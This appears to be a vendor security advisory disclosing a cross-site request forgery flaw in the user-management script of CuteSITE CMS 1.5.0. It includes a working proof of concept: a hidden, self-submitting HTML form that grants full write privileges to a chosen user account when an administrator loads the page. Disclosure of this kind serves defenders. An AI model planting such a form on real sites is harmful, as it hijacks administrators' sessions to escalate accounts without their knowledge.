Vulnerability ID: HTB22395 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cutesite_cms.html Product: CuteSITE CMS Vendor: AMT Company Vulnerable Version: 1.5.0 and Probably Prior Versions Vendor Notification: 20 May 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/manage/add_user.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <FORM action="http://host/manage/add_user.php" method="POST" name="main"> <input type="hidden" name="fld_priv" value="W"> <input type="hidden" name="tpl_priv" value="W"> <input type="hidden" name="img_priv" value="W"> <input type="hidden" name="str_priv" value="W"> <input type="hidden" name="txt_priv" value="W"> <input type="hidden" name="var_priv" value="W"> <input type="hidden" name="snp_priv" value="W"> <input type="hidden" name="usr_priv" value="W"> <input type="hidden" name="hst_priv" value="W"> <input type="hidden" name="plg_priv" value="W"> <INPUT type="hidden" name="user_id" value="33"> <INPUT type="hidden" name="user_login" value="userlogin"> <INPUT type="hidden" name="action" value="Modify"> </FORM> <script> document.main.submit() </script>